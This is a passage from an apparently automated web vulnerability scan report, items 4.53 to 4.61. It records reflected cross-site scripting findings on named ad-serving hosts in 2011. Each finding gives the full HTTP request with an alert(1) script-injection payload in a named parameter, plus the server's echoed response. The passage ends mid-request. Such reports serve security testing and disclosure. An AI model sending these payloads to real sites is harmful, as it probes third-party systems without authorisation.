<html><head></head><body style="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/w;239983083;0-0;0;28217125;4307-300/250;40891622/40909409/1;u=300
...[SNIP]...
;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs;~aopt=2/1/ff/1;~sscs=?http://ad.bnmla.com/click?pid=563&zid=3621&aid=30790&cid=506a45c7"><script>alert(1)</script>ea258321cd6&advid=(null)">
...[SNIP]...

4.53. http://ad.bnmla.com/serve [click parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4bee"><script>alert(1)</script>c24feb1b843 was submitted in the click parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve?st=1&pid=563&zid=3621&aid=30790&cid=506&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253fd4bee"><script>alert(1)</script>c24feb1b843 HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ij=eNqrVlAyNjC3NFBSsFKIVjDUUTA0NjA1MDY2MjZXiFWoBQBj4QZq; imp=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:21:59 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1204

<html><head></head><body style="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/w;239983083;0-0;0;28217125;4307-300/250;40891622/40909409/1;u=300
...[SNIP]...
2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs;~aopt=2/1/ff/1;~sscs=?d4bee"><script>alert(1)</script>c24feb1b843http://ad.bnmla.com/click?pid=563&zid=3621&aid=30790&cid=506&advid=70">
...[SNIP]...

4.54. http://ad.bnmla.com/serve [click parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The value of the click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b953a'-alert(1)-'0bfbfdc226e was submitted in the click parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /serve?pid=563&cb=456064623&noe=1&zid=3621&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253fb953a'-alert(1)-'0bfbfdc226e HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:20:44 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Set-Cookie: ij=eNqrVlAysjQ2tlBSsFKIVjDUUTA0NjA1MDY2MzFRiFWoBQBkjQZy;path=/;domain=.bnmla.com;expires=Wednesday, 30-Dec-2036 16:00:00 GMT
Set-Cookie: imp=;path=/;domain=.bnmla.com;expires=Wednesday, 30-Dec-2036 16:00:00 GMT
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 2079
Connection: close
Content-Type: text/plain

document.write('<iframe allowtransparency="true" src="http://ad.bnmla.com/serve?st=1&pid=563&zid=3621&aid=29338&cid=506&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B2
...[SNIP]...
qcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253fb953a'-alert(1)-'0bfbfdc226e" width="300" height="250" frameborder="0" scrolling="no" marginheight="0" marginwidth="0">
...[SNIP]...

4.55. http://ad.bnmla.com/serve [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17b38"><script>alert(1)</script>14b232d7784 was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve?st=1&pid=56317b38"><script>alert(1)</script>14b232d7784&zid=3621&aid=30790&cid=506&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253f HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ij=eNqrVlAyNjC3NFBSsFKIVjDUUTA0NjA1MDY2MjZXiFWoBQBj4QZq; imp=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:21:42 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1204

<html><head></head><body style="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/w;239983083;0-0;0;28217125;4307-300/250;40891622/40909409/1;u=300
...[SNIP]...
results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs;~aopt=2/1/ff/1;~sscs=?http://ad.bnmla.com/click?pid=56317b38"><script>alert(1)</script>14b232d7784&zid=3621&aid=30790&cid=506&advid=70">
...[SNIP]...

4.56. http://ad.bnmla.com/serve [zid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.bnmla.com
Path:	/serve

Issue detail

The value of the zid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c838b"><script>alert(1)</script>7cfd2f0fb1f was submitted in the zid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve?st=1&pid=563&zid=3621c838b"><script>alert(1)</script>7cfd2f0fb1f&aid=30790&cid=506&ne=1&click=http%3A//ad.doubleclick.net/click%253Bh%253Dv8/3b03/3/0/%252a/w%253B239983083%253B0-0%253B0%253B28217125%253B4307-300/250%253B40891622/40909409/1%253Bu%253D300x250%7Cbpage%7Cmid_article%7C2012-election%252C@mostpopular%252Crick-santorum%252Celections-2012%252Crick-santorum-for-president%252Csantorum-for-president%252Crick-santorum-2012%252Crick-santorum-south-carolina-straw-poll%252Csantorum-2012%252Csouth-carolina-primary-election%252Csouth-carolina-%253B%257Eokv%253D%253Bfeatured-posts%253D1%253Bpolitics%253D1%253B%253Bentry_id%253D859012%253B2012-election%253D1%253B@mostpopular%253D1%253Brick-santorum%253D1%253Belections-2012%253D1%253Brick-santorum-for-president%253D1%253Bsantorum-for-president%253D1%253Brick-santorum-2012%253D1%253Brick-santorum-south-carolina-straw-poll%253D1%253Bsantorum-2012%253D1%253Bsouth-carolina-primary-election%253D1%253Bsouth-carolina-straw-poll%253D1%253Bsouth-carolina-straw-poll-2011%253D1%253Bsouth-carolina-straw-poll-results%253D1%253Bglobal%253D1%253Bcap_12%253Dn%253Bqcs%253DD%253Bqcs%253DT%253Bqcs%253D2689%253Bqcs%253D2687%253Bqcs%253D2685%253Bqcs%253D1908%253Bqcs%253D1905%253Bqcs%253D1592%253Bqcs%253D683%253Bqcs%253D680%253Bqcs%253D679%253Bqcs%253D678%253Bqcs%253D666%253Bqcs%253D665%253Bqcs%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253f HTTP/1.1
Host: ad.bnmla.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ij=eNqrVlAyNjC3NFBSsFKIVjDUUTA0NjA1MDY2MjZXiFWoBQBj4QZq; imp=

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:21:42 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1204

<html><head></head><body style="background-color:transparent"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/w;239983083;0-0;0;28217125;4307-300/250;40891622/40909409/1;u=300
...[SNIP]...
;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs;~aopt=2/1/ff/1;~sscs=?http://ad.bnmla.com/click?pid=563&zid=3621c838b"><script>alert(1)</script>7cfd2f0fb1f&aid=30790&cid=506&advid=70">
...[SNIP]...

4.57. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9c66"-alert(1)-"53d49cc6164 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=d9c66"-alert(1)-"53d49cc6164 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 38065
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 14:20:18 GMT
Expires: Tue, 10 May 2011 14:20:18 GMT

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=d9c66"-alert(1)-"53d49cc6164";
this.clickN = "";
this.type = type;
this.uniqueId = plcrInfo_1302134510253.uniqueId;
this.thirdPartyImpUrl = "";
this.
...[SNIP]...

4.58. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 136c0"-alert(1)-"94a183be85b was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB136c0"-alert(1)-"94a183be85b&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:16:32 GMT
Content-Length: 7143



<script src="http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB136c0"-alert(1)-"94a183be85b&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = fals
...[SNIP]...

4.59. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a81e"-alert(1)-"71eef48a17a was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-52209604951223753a81e"-alert(1)-"71eef48a17a&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:19:18 GMT
Content-Length: 7143



<script src="http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-52209604951223753a81e"-alert(1)-"71eef48a17a&adurl=http%3a%2f%2fad.doubleclick.net/2493053/redirect_nexuss_gdn.html");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";
...[SNIP]...

4.60. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75a94'-alert(1)-'780ad4b53e3 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-522096049512237575a94'-alert(1)-'780ad4b53e3&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:19:23 GMT
Content-Length: 38065

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-522096049512237575a94'-alert(1)-'780ad4b53e3&adurl=http://ad.doubleclick.net/2493053/redirect_nexuss_gdn.html">
...[SNIP]...

4.61. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c67b6"-alert(1)-"4472742a4be was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=Bh3PBaEfJTb6MKtaP6Abtv72DDrGBmIwC-YGx3B7AjbcBoJ6nARABGAEgi5nvFDgAUMTE0OECYMmGhYmIpIQQoAHXsf3cA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBZ2h0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCglMjJET1JLJTIyKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-4AhioAwHRA-ODOzhDFNad6APdBegDpgPoA5sE9QMCAADEyAQB&num=1c67b6"-alert(1)-"4472742a4be&sig=AGiWqtzhPsbh4zDX8jtqjhycbU983h2Dvg&client=ca-pub-5220960495122375&adurl=;ord=628818073? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
